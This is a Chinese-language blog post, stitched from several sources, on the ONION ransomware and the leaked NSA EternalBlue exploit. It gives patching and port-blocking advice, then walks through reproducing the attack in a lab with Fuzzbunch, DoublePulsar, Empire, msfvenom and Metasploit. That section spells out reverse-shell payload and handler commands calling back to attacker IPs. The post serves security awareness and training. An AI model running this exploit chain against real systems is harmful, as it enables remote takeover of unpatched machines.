开篇语
近期国内多所院校出现ONION勒索软件感染情况,磁盘文件会被病毒加密为.onion后缀,加密使用了高强度的加密算法难以破解,只有支付高额赎金才能解密恢复文件,对学习资料和个人数据造成严重损失。
根据网络安全机构通报,这是不法分子利用NSA黑客武器库泄漏的“永恒之蓝”发起的病毒攻击事件。“永恒之蓝”会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
下面我们来探索下这个病毒及其兄弟家族的起源
正文
一、病毒起源
早在去年8月份的时候黑客组织 Shadow Brokers就声称攻破了给NSA开发网络武器的美国黑客团队方程式组织(Equation Group),并公开拍卖据称是美国政府使用的黑客工具。为了证明自己,Shadow Brokers还贴出了部分文件在网上,然后要求以100万比特币(现价约超过5亿美元)的价格进行拍卖,拍卖事件由于信息的扑朔迷离未能成功,但当时对几家全球路由器制造商确实造成了影响。
换句话说,美国国家安全局用以入侵网络的黑客武器,被另一黑客组织偷到手了!偷到手也就算了,还把「永恒之蓝」等一系列的黑客武器上传到网络开源化,提供给全球网友下载。一夜之间,没有杀毒软件或者软件过期的微软系统全部暴露在危险之中。
Shadow Brokers泄露了大量美国NSA的文件,其中深度披露了方程式组织的黑客攻击方法。当时在 Medium 上的一篇长博文中,Shadow Brokers 分享了一个可以打开所有加密文件夹的密码,披露理由是不满“政府军对平民使用了化学武器”,疑似指代美国政府早些时候对叙利亚空军基地发动的导弹袭击。根据 Twitter 上的爆料,这批漏洞主要针对Linux,似乎包含了 EQGRP 这套 Linux 工具。
以下是经过MSRC确认,已在更新中被解决的漏洞列表,建议大家及时更新电脑到最新版本。
二、解决措施
一、为计算机安装最新的安全补丁,微软已发布补丁MS17-010修复了“永恒之蓝”攻击的系统漏洞,请尽快为电脑安装此补丁,网址为
https://technet.microsoft.com/zh-cn/library/security/MS17-010;
二、对于windows XP和windows server 2003等微软已不再提供安全更新的机器,建议用户尽快升级到window 7/windows 10
Windows 10 Language Pack (x64) - DVD (Multiple Languages)
mu_windows_10_language_pack_x64_dvd_6846438.iso SHA1 8FFC07D8C6069746C8222DD6F65BAD2F779F735C
1.28GB 2015-07-29
ed2k://|file|mu_windows_10_language_pack_x64_dvd_6846438.iso|1370247168|ED038183115D03F8627F22593425F246|/
或windows server 2008/2012/2016操作系统。升级前推荐使用360“NSA武器库免疫工具”检测系统是否存在漏洞,并关闭受到漏洞影响的端口,可以避免遭到勒索软件等病毒的侵害。免疫工具下载地址
http://dl.360safe.com/nsa/nsatool.exe
三、关闭445、135、137、138、139端口,关闭网络共享。具体操作如下:
1、在开始之前,请立刻将你的电脑断网!!!
2、Win+R打开运行,输入gpedit.msc进入组策略编辑器。
3、在左侧边栏中,依次选取 “Windows 设置 - 安全设置 - IP安全策略,在 本地计算机“
4、接下来右键单击 “IP安全策略,在 本地计算机”,并选择“创建IP安全策略”
5、在跳出的“IP安全策略向导“中右键
6、在第二步的名称中输入“封禁端口”然后一路“下一步”
7、单击“完成”
8、在随后跳出的封禁端口属性窗口中,单击添加。
9、需要注意的是不要勾选右下角的“使用添加向导”
10、在"新规则 属性"窗口中,单击左下角的"添加"
11、在IP筛选器列表窗口中,单击右侧的添加按钮,需要注意的是这里也不要点击右下角的"使用添加向导"
12、在弹出的IP筛选器属性窗口的地址选项卡中,原地址选择“任何IP地址”,目标地址选择“我的IP地址”
13、然后选择协议选项卡,选择协议类型为:TCP,设置IP协议端口为"从任意端口""到此端口":445,并单击确定。
14、在IP筛选器列表中单击确定。
15、然后在新规则属性中,单击筛选器操作选项卡
16、单击下方的添加,并且不要勾选右侧的使用添加向导。
17、在新筛选器操作属性中,选择“阻止”,并切换到常规选项卡,将名称改为阻止。
18、单击确定,回到新规则属性窗口中的筛选器操作,勾选刚才建立的“阻止”,在切换到IP筛选器列表,勾选刚才建立的“445”。然后单击应用,再单击关闭
19、单击“确定”
20、回到组策略编辑器,右键单击右侧刚才创建的“封禁端口”,在右键菜单当中选择分配,就成功关闭了445端口。
21、大家还需要关闭135、137、138、139端口,操作与上述关闭445的操作相同。
攻击复现
配置Fuzzbunch并创建基本利用环境
为了达到更好的实验效果,我们将需要配备以下系统环境:
Windows 7 64-bit 作为被攻击目标。IP:10.11.1.253
Windows 7 作为Windows攻击机,并运行Fuzzbunch。IP: 10.11.1.251
Kali Linux 作为另一台攻击机,并运行Empire framework。IP: 10.11.1.16
在我们正式开始实验之前,我们还需要在Windows 和Kali Linux攻击机上进行一些相应的环境部署。
Windows 7相关环境的安装配置
在Windows 7攻击机上,我们需要安装Python 2.6和PyWin32 v212。安装文件可以在这里下载:
Python 2.6: https://www.python.org/download/releases/2.6/
PyWin32 v212: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/
按照基本安装步骤首先安装Python,然后再安装PyWin32。这里需要注意的是,安装PyWin32务必以管理员身份进行,否则可能会出现报错。如果你需要再次运行安装后的脚本,则可以在以下目录中找到:
C: \Python26\Scripts
在Kali Linux上安装Empire Framework
在Kali Linux上,我们需要安装可从Github获取的Empire框架:
Empire framework: https://github.com/EmpireProject/Empire
在Kali Linux上安装Empire Framework非常简单,只需运行./setup/install.sh脚本即可一键安装,然后运行./empire就可以启动Empire。
配置Fuzzbunch
接下来,我们就可以到Github上下载Shadow Brokers泄露的NSA工具并将其解压到桌面。这里需要注意的是,当你从Github下载转储时,你必须要在包含fb.py(Fuzzbunch)文件的Windows目录中,创建一个名为“listeningspost”的新文件夹。
最后编辑名为fuzz bund.xml的Fuzzy Bunch配置文件,并设置相应的ResourcesDir和LogDir参数:
现在我们就可以通过命令行来执行fb.py文件,启动Fuzzbunch。至此应该没有任何报错:
如果你看到了关于缺少DLL或导入的错误提示,请确保是否已正确安装了PyWin32,并且安装后脚本是否成功完成。
配置和执行Eternalblue
至此,我们已经具备了Eternalblue漏洞利用的所有条件。执行Eternalblue需要一个目标IP和回调IP地址。这里的目标地址则为10.11.1.253(Windows 7 64-bit),而反弹地址则为 10.11.1.251(Windows 7)。
接下来需要我们配置和指定是否重定向,和日志记录相关的一些参数,并在Fuzzbunch中创建一个新的项目。我们不会使用重定向,因此输入“no”,然后按Enter键继续。继续按回车键保持默认选项。然后我们选择选项4(或没有现有项目时为0)创建一个新项目,并将其命名为任何你喜欢的项目名称,并选择为你的新项目使用默认的日志记录位置。
要查看全部加载的插件/exploit类型,可以使用’use’命令。选择使用Eternalblue插件,请键入以下命令:
use Eternalblue
接着Fuzzbunch会询问我们是否提示进行变量设置,我们选择yes。传输方式我们选择1‘FB’。
最后会询问我们,是否要执行插件:
如果一切顺利,Fuzzbunch将输出Eternalblue成功的提示:
配置Empire 侦听和反向DLL shell
首先,我们在Empire中设置一个侦听处理程序,并生成一个包含反向shell的恶意DLL文件。首先我们使用Empire命令创建一个监听器:
listeners set Name Eternalblue set Host http://10.11.1.16 set Port 4444 execute
接着,我们使用以下命令来创建一个包含反向shell的恶意DLL文件:
usestager dll Eternalblue set Arch x64 set OutFile /var/www/html/launcher.dll execute
DLL文件现在存储在Web根目录下。要将DLL传输到另一台Windows 7攻击机上,只需使用以下命令启动Apache Webserver即可:
service apache2 start
现在我们就可以使用浏览器,从Windows 7攻击机上下载DLL文件了。 我们将launcher.dll文件存储在Windows文件夹中。
Msfvenom恶意DLL文件的创建
除此之外,你还可以使用msfvenom来生成恶意DLL文件,并使用多处理程序设置监听:
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll
以上命令将使用msfvenom,生成一个Meterpreter的有效载荷:
DoublePulsar
下一步是运行DoublePulsar并注入恶意的launcher.dll文件。在Fuzzbunch中键入以下命令以使用DoublePulsar:
use DoublePulsar
接着DoublePulsar会为我们显示相关的目标参数,如果你的攻击目标为不同的架构,则需要选择对应的系统架构(32或64bit)。其他变量我们只需保持默认不变即可,直到功能选项出现。
在接下来的功能选项中,我们选择2注入并运行一个DLL文件(我们之前生成的恶意DLL文件)。
然后我们需要输入DLL文件的位置,以及其他一些选项我们默认回车即可。
选择所有其他变量设置的默认选项,直到Fuzzbunch询问我们是否要执行DoublePulsar:
如果一切顺利,DoublePulsar将输出DoublePulsar成功的提示:
当我们切换到运行Empire监听器的Kali Linux虚拟机时,我们应该已经获取到了目标机器的一个反向shell,但是我们无法与之进行交互:
将Empire shell切换为Meterpreter shell
让我们来尝试下,是否可以将Empire shell切换为Meterpreter shell。我们运行以下命令设置侦听:
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 10.11.1.16 set lport 5555 run
现在,让我们再次切换回Empire并运行以下命令:
usemodule code_execution/invoke_shellcode set Lhost 10.11.1.16 set Lport 5555 execute
当我们再次切换回Metasploit时,我们应该已经收到了一个Meterpreter shell:
修复建议
微软已于2017年3月份就修补了Eternalblue漏洞。如果您尚未安装补丁程序,建议您在短时间内完成此操作。另一个有效的方法是在Windows机器上禁用SMBv1。
要在Windows 8和Windows Server 2012上禁用SMBv1,请打开Windows Powershell并运行以下命令以禁用SMBv1:
Set-SmbServerConfiguration -EnableSMB1Protocol $false
使用以下命令检查SMBv1是否已被禁用:
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol
在PowerShell中运行以下cmdlet,禁用Windows 7,Windows Server 2008 R2,Windows Vista和Windows Server 2008上的SMBv1协议:
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force
总结
在本教程中我们学会了,如何使用Eternalblue远程利用SMBv1协议中的漏洞。虽然Eternalblue相比MS08-067利用起来并不轻松,但其效果都是一样的。同时,也希望通过这个例子让大家意识到定期更新Windows系统的重要性,以及技术更新换代的必要性。想要了解更多关于Eternalblue的内容,你可以查看 CVE-2017-0143 以及微软关于MS17-010的相关安全公告。
本文借鉴了诸多链接复合而成,下面是详细链接出处,侵权立删!
方程式0day ETERNALBLUE复现之Empire & Msfconsole下的shell获取
Onion病毒正在教育网内肆虐,华中大微校园提醒大家防范危险病毒
Shadow Brokers又爆NSA神级机密0day,i春秋一个箭步首发了在线实验环境!
结束语
除了拨网线,想不到别的办法。想想,这只人家泄露的一小部分呢。隐藏的大杀器不敢想像。
——锦行科技CTO Jannock
所有 Windows 服务器、个人电脑,包括 XP/2003/Win7/Win8,Win 10 最好也不要漏过,全部使用防火墙过滤/关闭 137、139、445端口;对于 3389 远程登录,如果不想关闭的话,至少要关闭智能卡登录功能。剩下的就是请稳定好情绪,坐等微软出补丁。
——长亭科技.Monster
关于 The Shadow Brokers 刚放出来的那个工具包,微软发布公告指出其中所用的漏洞都已被修复。也就是说,如果你用 Windows 7、Windows 10 并且及时打补丁,就不用担心。
另一方面,我也注意到,其中一些 2017 年 3 月修复的漏洞,攻击工具的编译时间是 2011 年。也就是说 CIA 在手里至少捏了 6 年。
——腾讯玄武实验室.TK
这次暴露的NSA武器库漏洞体现了交叉覆盖的威力了,款款精品总有一款满足你。03年我设计完成的“潜入者”渗透测试系统比这还覆盖得多,当时连续好多年基本上是现实中的window通杀,现实中用这套系统成功控制了很多安装有防火墙的APT攻击者自身工作电脑。端口涉及到135、139、445、80、42、1433、1025-1030等,漏洞有upnp、msg、webdav、asp、ras、wins、dns等等。关键一点,我已经意识到对0day武器库的管理很重要。这套系统,真正的是一个活的漏洞武器库。
这次泄露,有可能是某个或者某些使用者个人机器或者肉鸡的工作目录被端,导致0day泄漏。其实“潜入者”就是针对NSA这种需求做的一套APT系统。03年的设计,理念到现在还是那么先进。
——腾讯湛泸实验室.yuange
个人宣言
知识传递力量,技术无国界,文化改变生活!